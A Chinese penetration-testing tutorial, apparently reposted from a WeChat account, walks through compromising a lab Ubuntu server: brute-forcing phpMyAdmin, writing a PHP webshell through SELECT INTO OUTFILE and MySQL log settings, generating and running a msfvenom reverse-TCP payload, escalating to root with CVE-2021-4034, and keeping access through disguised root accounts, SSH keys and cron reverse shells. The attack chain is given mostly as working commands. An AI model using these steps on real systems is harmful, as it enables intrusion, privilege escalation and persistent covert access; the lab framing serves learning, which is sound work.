0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

初涉内网提权方面详解

马哥Linux运维 来源:马哥Linux运维 2023-05-22 09:56 次阅读

口水话

前段时间打了两个靶场 由于内网接触的不多 这里在结束之后恶补了一下相关方面的知识,对于初涉内网的小白来说,可以作为一个较好的参考。由于本文主要介绍提权方面,所以代码审计部分就略过,希望大家看了会有所收获

靶场环境

搭建用的系统:ubuntu 16.04    内核4.15.0
web环境   php+mysql+thinkphp

流程

首先开启靶场 在攻击机正常访问靶场地址

这里提一下  因为一般这种老版本的thinkphp都是二开的  所以那些Nday很少能够成功复现
而且这就是一个html静态页面  所以看完后面的小伙伴不要奇怪为什么不对thinkphp做Nday测试
但是这里有彩蛋

2cac91da-f814-11ed-90ce-dac502259ad0.png

webshell上传过程

先来一波信息收集

实际情况肯定是要对该站点的子域名 cms 其他ip等等做收集
由于这里是靶场操作  这里就简单进行一个目录扫描

2cfdb0e2-f814-11ed-90ce-dac502259ad0.png

通过目录扫描可以得出  存在phpmyadmin管理界面的登录界面  这种后台嘛  直接bp爆破

BP爆破后台登录口令

没啥说的啦  开BP代理直接跑

2d1a4b1c-f814-11ed-90ce-dac502259ad0.png

成功进入phpmyadmin管理页面 

ps:这里提一下 当成功进入管理页面 需要去做什么呢?

查看secure_file_priv是否为NULL 或者为指定路径
(当为NULL的时候 说明没有读写的权限 也就是你可能没法通过into outfile的方式来写入webshell文件 )
查看mysql的版本  路径等

查看mysql的相关信息

2d515012-f814-11ed-90ce-dac502259ad0.png

secure_file_priv信息

2d715ce0-f814-11ed-90ce-dac502259ad0.png

之前提到的  当secure_file_priv为NULL或者指定路径是 是对其他目录没有读写权限的 
那么这里为空  也就是说 可以对任意目录写入文件(前提是这个目录的所用者对其他目录有读写权限)

mysql写webshell拓展

几个必要的前提条件
1.secure_file_priv不为NULL或者指定路径
2.phpmyadmin所在目录的拥有者对其他目录有读写权限
3.全局gpc关闭  (mysql-5.3.29以上默认关闭)
4.root权限(这里指的是登录数据库的用户)
5.知道具体路径(通过信息收集获取,上文有提到静态页面存在菜单 这里可以回去看看)

into outfile()方式:
查询执行语句SELECT '' into OUTFILE '/home/wwwroot/default/ruchong.php' 
该语句的作用就是写入一句话到网站根目录下  详情自己百度


日志方式
日志方式的写入有两种  全局日志以及慢日志 不过具体用法差不多
实现的原理是 当你开启日志记录是 你所查询的语句都会全部被记录在指定的一个文件中
那假如你指定的是一个php文件并且你查询的语句为一句话木马呢?

全局日志:
首先查询是否开启了全局日志记录
show variables like '%general%';   查看是否开启

set global general_log = on;     #未开启就手动开启general log 模式

set global general_log_file = 'web可访问目录' #设置日志目录为shell地址

SELECT ''   #执行查询 即写入到日志文件 

慢日志:
#查询慢日志状态
show variables like '%slow_query_log%'; 

#查询mysql系统时间 
show global variables like '%long_query_time%';

#根据时间  设置超时

select '' or sleep(11);   设置查询时间为11s

mysql写入webshell

这里通过into outfile的方式写入  日志记录也可以

2d8b9178-f814-11ed-90ce-dac502259ad0.png

切换到靶机查看是否生成了该文件

2daa2642-f814-11ed-90ce-dac502259ad0.png

小技巧ps:
最好是先生成一个php探针页面 为什么呢?
因为探针页面可以详细的看到当前的web环境的一些相关配置
(禁用函数情况、是否开启php日志、session和php日志目录等等)

2dcdeaf0-f814-11ed-90ce-dac502259ad0.png

连接webshell

这里先进行一些相关的拓展

在不存在函数禁用的情况下:一般使用菜刀等就可以了 后续上传大马等等
存在函数禁用的情况:优先考虑使用蚁剑 (可以使用disable_function绕过脚本)

2e1b2a4a-f814-11ed-90ce-dac502259ad0.png

打开虚拟终端  测试命令

2e456f30-f814-11ed-90ce-dac502259ad0.png

这里为什么会无法查询呢?

因为这是一个虚拟终端  本质是通过命令执行来调用主机的终端来执行命令 从而回显数据
但是由于相关函数被禁用 所以很多命令都无法执行 也就是说 这个虚拟终端等于废掉
那么 这个时候蚁剑的插件就派上用场了  可以通过绕过来执行少数的一些命令 从而给我们提供更多的操作空间
扩大我们的攻击范围  ps:蚁剑的插件需要挂ti子来下载 有兴趣的自己百度

2e6c75d0-f814-11ed-90ce-dac502259ad0.png

连接webshell后需要做什么

那肯定是上传webshell 通过反弹来拓展攻击面呀!!
但是前面提到了 插件绕过也只是能够使用少数命令 本质还是虚拟终端 所以很多都无法调用 
这个时候 就需要反弹一个shell来进行更多的操作 所以 懂得都懂叭

提权过程

内核提权

msfconsole登场

说到反弹shell 那肯定是msf啦  可以联动cs/bp等 

ps:这里是同一网段的靶场环境 所以不需要vps来做中转(真实环境是需要用到vps的  后面有空了再写横向穿越,端口转发以及隧道等内容)

生成牧马(保命)

由于是linux系统 这里就生成相应的牧马啦
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to  -f elf > ruchong.elf

方便理解我这里直接写了接收反弹的ip以及端口

2e900112-f814-11ed-90ce-dac502259ad0.png

小技巧
不同虚拟机传文件需要从当前虚拟机复制到物理机再复制到执行虚拟机
是不是很麻烦?
使用python开启一个临时共享当前目录 就可以直接下载啦
命令:python3 -m http.server

2f21423a-f814-11ed-90ce-dac502259ad0.png

2f3c767c-f814-11ed-90ce-dac502259ad0.png

执行牧马反弹shell啦

运行之前 msf开启对应payload  ip以及端口的监听
payload  ip  端口  都要与生成的木马使用的一致
最后的命令run或者exploit开启监听啦

2f728a64-f814-11ed-90ce-dac502259ad0.png

蚁剑上传该牧马
chmod +777 牧马     #给权限运行啦
./牧马          #运行牧马

2fa923c6-f814-11ed-90ce-dac502259ad0.png

msf成功收到反弹

2fcdd798-f814-11ed-90ce-dac502259ad0.png

内核提权准备工作

既然是内核提权  当然要知道内核信息啦
使用命令uname -a查看当前的系统版本以及内核信息

2fe88674-f814-11ed-90ce-dac502259ad0.png

内核脚本的选择

知道了内核版本后  有多种选择内核的方式  这里简单的列举几个

利用某网站来收集可使用的内核提权脚本

https://www.exploit-db.com/

3004c0c8-f814-11ed-90ce-dac502259ad0.png

利用kali自带搜索相应内核提权脚本

搜索命令   searchsploit  版本号/内核号
下载脚本   searchsploit -m  fath

306af4f6-f814-11ed-90ce-dac502259ad0.png

利用相关插件收集提权脚本

该脚本自行上github搜索

./linux-exploit-suggester.sh -k 4.15.0 
执行脚本   -k 指定的内核版本

30f4d748-f814-11ed-90ce-dac502259ad0.png

msf本地提权

run post/multi/recon/local_exploit_suggester

这个是自动检测可能成功的内核提权脚本并且逐个尝试
由于需要大概半个小时 所以就没有操作  有兴趣的可以自行尝试

内核提权!!!

前面说了那么多  终于到关键的一步了

先说说为什么提权要提权:
1.某些命令需要高权限用户才可执行
2.低权限用户对于大多数敏感目录没有读取权限
3.无法dump密码  不存在密码喷洒

这里利用cve-2021-4034来进行提权 github可以搜索下载
使用蚁剑上传  下面po一下改提权脚本 如何使用

314ee27e-f814-11ed-90ce-dac502259ad0.png

在msf执行红框命令

317430c4-f814-11ed-90ce-dac502259ad0.png

可以看到 成功提权到root权限 
root权限能干嘛 不用多说了吧
下面简单说一下权限维持的几个方式

权限维持

1.创建一个用户 并且权限为root  用户名可以伪造成系统用户名 比如说mysqld等等
2.开启ssh登录 并且生成root的ssh认证密钥对  将其保存本地 后渗透直接使用ssh登录
3.添加计划任务  即周期性的使用root身份反弹shell
4.使用不死马或者内存马
5.设置启动项

其他提权方式

后面有时间我会单独写提权方式、不同平台提权、内网横向移动所使用的端口转发、sock隧道建立的文章
这里大概提一下linux系统提权的其他方式

1.suid提权    #使用find查找root用户的suid文件  通过运行该类文件获取root权限
2.sudo提权    #个人觉得有点鸡肋 毕竟一般来说 webshell登录的用户权限是无法操作sudoers文件
3.计划任务提权  #查看计划任务中有root权限的脚本  通过运行该脚本获取root权限
4.mysql提权   #本次靶场是可以使用mysql提权的  百度cve-2016-6663了解

总结

对于内核提权就写到这啦  整体看下来应该都会有一个比较清楚的认知吧 不懂的话多看几遍 相对来说是写的比较详细的了。

关于内网还有很多需要学习的知识 像提权后的权限维持、横向移动、后渗透、痕迹清理、不同平台的不同方式提权、以及进阶的域渗透。后期有空了会更新有关内容的文章。学海无涯,希望大家每天都能学到新知识提升自己,学到的东西可不要做非法的事哈!!!!
审核编辑:彭静
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 代码
    +关注

    关注

    30

    文章

    4555

    浏览量

    66771
  • 内网
    +关注

    关注

    0

    文章

    20

    浏览量

    8942
  • phpMyAdmin
    +关注

    关注

    0

    文章

    5

    浏览量

    5865

原文标题:初涉内网,提权那些事(小白适用)

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    安谋中国管理团队内网刊发联名信

    安谋中国管理团队内网刊发联名信今天,安谋中国管理团队在公司内网刊发联名信,以下是该封联名信的内容。
    的头像 发表于 06-15 17:53 4209次阅读

    UCOS详解

    UCOS详解!对者来说还是不错的!
    发表于 08-24 16:27

    [求助]单向半桥逆变电路如何实现即调频又调功

    [em52]各位大侠:小弟电源行业,遇到些问题,希望得到您的帮助。我现在要设计一RLC串联型负载的感应加热电源,拟采用半桥逆变方式,电路图见附件。现请教各位高手:要在电压恒定E不变的前提下,给逆
    发表于 10-29 10:18

    新来的小菜,请老鸟多指教

    我新入大一,电子信息工程专业,该电子领域
    发表于 12-13 22:20

    altium designer遇到了一个麻烦,大神帮帮忙啊,先谢过!

    如题,小弟EDA工具,这是我画的第二块板子,所以经验不足。问题是这样的,这个IC4558的原理图和封装都是我自己做的,原理图在没问题,编译的时候也没有什么错误,但是生成PCB封装他的八个引脚都没有连线!!我纠结一整天都没找出原因,进度也就停在这了。。。大神帮帮忙啊!!
    发表于 01-18 00:28

    labview连接内网MESService

    客户提供了一个他们内网的MESService链接和其中两个接口的参数信息,我能在连不上他们内网的情况下,先根据参数和链接写一个调用的程序,然后再去他们现场调试吗?不生成代理cs和dll文件的话,可以实现吗
    发表于 09-21 09:38

    请问花生壳怎么进行内网穿透的?

    花生壳是怎么进行内网穿透的,能不能用来***,还是只有组建内网的功能。
    发表于 04-18 06:02

    内网穿透详解-基于NATAPP&NatAssist测试

    本帖最后由 1406093611 于 2019-11-13 22:41 编辑 内网穿透详解-基于NATAPP&NatAssist TCP测试【前言】最近做一个4G模块
    发表于 09-13 12:14

    香港云服务器宝塔windows面板获取系统管理员权限

    用往下看了,下面来说说宝塔windows面板过程。测试系统:windows 2008宝塔windows面板版本:3.1方式:启动项如果有了解过渗透
    发表于 04-25 01:59

    搭建自己的IOT平台---内网穿透

    相信大部分小伙伴在搭建环境的时候都是用虚拟机来搭建的,如果想实现外网访问内网的话,还是比较麻烦的。在这里我就针对这个问题,写一篇教程,教大家用最简单的方式实现内网穿透,能做到外网访问内网,实现可视化
    发表于 12-09 23:14

    内网安全的六大弊病

    内网安全管理对于企业来说变得愈加的重要,一个企业的安全问题影响着企业各方面的发展,我们对于企业的分析就从企业的安全设计谈起,看看在此方面上都存在哪些内容。
    发表于 03-17 10:51 825次阅读

    公网,私网,内网,外网的区别

    我们知道由于国内网络实际上被限制了的,可以称之为全球最大的局域网,所以国内网络群组可以(科学)访问国外网络群组,而阿里云和你自家电脑都属于C。 那么如果你的电脑在C,W对于你来说就叫外网,自己所在的网络就叫内网,反之同理。
    发表于 08-24 17:32 1195次阅读
    公网,私网,<b class='flag-5'>内网</b>,外网的区别

    什么是nps?常见内网穿透工具有哪些?

    nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。 目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns
    发表于 08-31 10:32 1269次阅读
    什么是nps?常见<b class='flag-5'>内网</b>穿透工具有哪些?

    内网穿透可以带给物联网什么呢?

    内网穿透可以带给物联网什么呢?
    的头像 发表于 10-14 15:14 396次阅读

    内网穿透frp原理简述

    FRP的优点: 它可以隐藏内网中的服务器, 避免因直接暴露内网服务器导致的安全问题。此外, FRP还支持动态端口映射, 可以方便地实现内网的服务器负载均衡
    的头像 发表于 11-13 14:38 1748次阅读
    <b class='flag-5'>内网</b>穿透frp原理简述